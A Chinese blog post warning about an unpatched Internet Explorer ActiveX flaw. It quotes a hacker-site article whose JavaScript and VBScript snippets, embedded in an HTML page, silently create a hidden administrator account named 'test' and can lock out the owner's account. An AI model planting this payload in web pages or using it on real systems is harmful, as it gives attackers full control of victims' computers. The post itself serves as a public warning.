在7月2日,我逛国内的一个黑客网站,就看到一名为《在个命令行下加账号》的暴IE严重漏洞的文章,当时认为好玩,没有引起足够的重视,今天突然看到csdn中有篇《微软全球通告IE漏洞 官方建议关闭ActiveX》才认识到问题的严重性,更要命的是好几天了,微软还没有发布扑丁,这意味不怀好意的人,百发百中的攻击你。我想文章指的就是这个漏洞了。原文如下:
今天研究了一下用户控制面板文件nusrmgr.cpl(cmd中的命令),js,vbs两种代码,发现调用的是Shell.Users来加用户,它还同时调用了wscript.shell、Shell.Application、Shell.LocalMachine这三个组件。不过加用户的话,这一个Shell.Users就足够了。那么可能在删掉了net.exe和不用adsi之外,这也可能是一种新的加用户的方法。代码如下:
js:
var o=new ActiveXObject( "Shell.Users" );
z=o.create("test") ;
z.changePassword("123456","")
z.setting("AccountType")=3;
vbs:
Set o=CreateObject( "Shell.Users" )
Set z=o.create("test")
z.changePassword "123456",""
z.setting("AccountType")=3
注:本人现在在学javascript,对vbscript不感兴趣。所以就在本人的电脑上试过,将以上代码中的javascript代码复制写入任何一个html文件中,用IE打开,就会创建一个test的超级用户,当你重起计算机,你本来的超级用户账号会消失(你的管理员权限就没有了,系统都无法进)!等于黑客不费一点力,就控制了你的计算机,并且,你还失去了超级管理权限,对自己的电脑无能为力。当然,经本人测试,打开IE要在管理员权限下进行,非管理员权限会有js错误,提示没有创建AcitiveX对象的权限。对于大多以管理员身份上网的用户来说,是个致命的威胁,黑客不必知道你的账号和密码,就可创建一个他的超级用户账号,并封掉你的账号,你无法进去系统。